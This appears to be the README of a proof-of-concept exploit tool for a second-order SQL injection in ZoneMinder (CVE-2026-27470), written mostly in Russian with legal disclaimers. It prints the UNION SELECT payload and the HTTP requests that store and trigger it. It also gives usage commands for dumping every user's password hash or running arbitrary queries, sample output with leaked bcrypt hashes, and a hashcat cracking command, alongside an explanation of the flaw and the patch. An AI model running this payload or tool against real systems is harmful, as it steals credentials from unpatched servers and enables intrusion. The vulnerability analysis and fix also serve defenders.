
Доказательство концепции эксплуатации SQL-инъекции второго порядка в ZoneMinder (CVE-2026-27470). Демонстрирует аутентифицированное извлечение данных, включая учётные данные пользователей, с возможностями выполнения пользовательских запросов и дампа хэшей.
⚠️ YASAL UYARI / LEGAL DISCLAIMER
Bu araç yalnızca eğitim amaçlı ve yazılı izin alınmış güvenlik testleri için geliştirilmiştir. Sahip olmadığınız veya test etmek için açık yazılı izniniz olmayan sistemlere karşı kullanılması yasadışıdır. Yetkisiz erişim, birçok ülkede ağır cezai yaptırımlara tabidir (Türkiye TCK m.243-245, ABD CFAA, AB NIS Direktifi vb.). Bu aracın kötüye kullanımından doğacak her türlü yasal sorumluluk kullanıcıya aittir; yazar hiçbir sorumluluk kabul etmez.
This tool is provided strictly for educational and authorized security research purposes. Using it against systems you do not own or do not have explicit written permission to test is illegal. Unauthorized access may violate laws such as the CFAA (US), Computer Misuse Act (UK), and equivalent legislation worldwide. The author assumes no liability for any misuse of this tool.
Эксплойт proof-of-concept для уязвимости SQL-инъекции второго порядка в ZoneMinder. Аутентифицированный пользователь с правами на редактирование и просмотр событий (Events) может извлечь произвольные данные из базы данных — включая все учётные данные пользователей.
| Поле | Детали |
|---|---|
| CVE ID | CVE-2026-27470 |
| Серьёзность | ВЫСОКАЯ — CVSS 8.8 |
| Вектор | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Затронутые версии | ZoneMinder ≤ 1.36.37 и 1.37.61 – 1.38.0 |
| Исправлено в | 1.36.38 / 1.38.1 |
| Файл | web/ajax/status.php → getNearEvents() |
| CWE | CWE-89: Improper Neutralization of SQL Commands |
| Требуется аутентификация | Да — права на редактирование и просмотр Events |
Это классическая SQL-инъекция второго порядка (хранимая). Атака происходит в две отдельные фазы, поэтому традиционные сканеры часто её пропускают.
Фаза 1 — Безопасная запись
Атакующий переименовывает событие с вредоносной нагрузкой. ZoneMinder корректно использует параметризованный запрос, поэтому нагрузка безопасно сохраняется в базе данных без каких-либо ошибок:
POST /index.php HTTP/1.1
request=event&action=rename&id=1&eventName=' UNION SELECT Password,NULL FROM Users LIMIT 0,1-- -
// web/ajax/event.php — безопасно ✅
dbQuery('UPDATE Events SET Name = ? WHERE Id = ?', [$_REQUEST['eventName'], $id]);
На этом этапе всё выглядит чисто. Нагрузка тихо лежит в столбце Events.Name.
Фаза 2 — Уязвимое чтение
Атакующий вызывает getNearEvents(), запрашивая ближайшие события для той же записи события. Функция считывает сохранённое значение Name обратно из базы данных и конкатенирует его напрямую в новый SQL-запрос без какого-либо экранирования:
GET /index.php?request=status&entity=nearevents&id=1&sort_field=Name&sort_asc=1 HTTP/1.1
// web/ajax/status.php ~строка 460 — УЯЗВИМО ❌
$event = dbFetchOne('SELECT * FROM Events WHERE Id=?', NULL, [$id]);
$sql = 'SELECT E.Id, E.StartDateTime FROM Events E
INNER JOIN Monitors M ON E.MonitorId = M.Id
WHERE E.Name >= \'' . $event[$_REQUEST['sort_field']] . '\' // ← точка инъекции
AND (' . $filter->sql() . ') AND E.Id < ' . $event['Id'];
Сохранённая нагрузка вырывается из строкового контекста, и внедрённый UNION SELECT выполняется, утекая данные в поле NextEventId JSON-ответа:
{
"result": "Ok",
"nearevents": {
"EventId": "1",
"NextEventId": "$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6",
"NextEventStartTime": null
}
}
Разработчик совершил очень распространённую ошибку: он корректно очистил пользовательский ввод при записи, создав ложное чувство безопасности. Предположение, что «данные из нашей собственной базы безопасны», позволило уязвимости существовать в пути чтения годами. WAF и большинство автоматических сканеров не поймают это, потому что запрос на запись выглядит полностью чистым.
pip install requests
-t, --target URL цели (например, http://10.10.10.10:8080)
-u, --username Имя пользователя ZoneMinder
-p, --password Пароль ZoneMinder
--event-id ID события для использования в качестве носителя инъекции
--query Пользовательский SQL-запрос для выполнения
--dump-users Извлечь все имена пользователей и хэши паролей
--field Поле инъекции: Name (по умолчанию) или Cause
--no-restore Не восстанавливать имя события после эксплуатации
# Проверка версии БД (простейший тест)
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--query "SELECT VERSION()"
# Извлечение всех пользователей и хэшей паролей
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--dump-users
# Инъекция через поле Cause вместо Name
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--field Cause --dump-users
# Пользовательский запрос
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--query "SELECT @@hostname"
╔══════════════════════════════════════════════════════════╗
║ CVE-2026-27470 — ZoneMinder Second-Order SQLi PoC ║
║ CVSS 8.8 | Authenticated | Events Permission ║
╚══════════════════════════════════════════════════════════╝
[*] Target : http://10.10.10.10:8080
[*] Logging in...
[+] Session established.
[+] Event ID (manual): 1
[*] Injecting payload (Name field)...
[+] Payload stored via parameterized query — looks clean in DB.
[*] Triggering second-order injection...
[*] HTTP 200
[*] Event name restored.
[+] User count: 2
[*] Running query: SELECT Username FROM Users LIMIT 0,1
[*] Running query: SELECT Password FROM Users LIMIT 0,1
[+] User 1: admin:$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6
[*] Running query: SELECT Username FROM Users LIMIT 1,1
[*] Running query: SELECT Password FROM Users LIMIT 1,1
[+] User 2: operator:$2b$12$xK8s...
Attacker ZoneMinder MariaDB
│ │ │
│ POST /index.php │ │
│ action=rename │ │
│ eventName=<PAYLOAD> ──────► │ │
│ │ UPDATE Events SET Name=? ──►│
│ │ (parameterized — safe) │
│ │◄─────────────────────────────│
│ │ │
│ GET /index.php │ │
│ entity=nearevents ──────► │ │
│ sort_field=Name │ SELECT * FROM Events WHERE │
│ │ Id=? ──►│
│ │◄── Name = '<PAYLOAD>' ───────│
│ │ │
│ │ builds SQL string: │
│ │ WHERE Name >= '<PAYLOAD>' │
│ │ (no escaping!) │
│ │ UNION SELECT executes ────► │
│ │◄── credentials ──────────────│
│◄── JSON with leaked data ─────│ │
# Взлом собранных хэшей с помощью hashcat
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
Events.Name имеет тип varchar(64) в базе данных — держите нагрузку инъекции короче 63 символовnearevents.NextEventId в JSON-ответеОбновите ZoneMinder до версии 1.36.38 или 1.38.1.
Исправление заключается в использовании параметризованного плейсхолдера запроса для сохранённого значения вместо конкатенации строк:
// До (уязвимо)
$sql = "... WHERE E.Name >= '" . $event[$sort_field] . "'";
// После (исправлено)
$sql = "... WHERE E.Name >= ?";
$result = dbQuery($sql, [$event[$sort_field]]);
Этот инструмент предназначен только для образовательных целей и авторизованных исследований безопасности.
Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.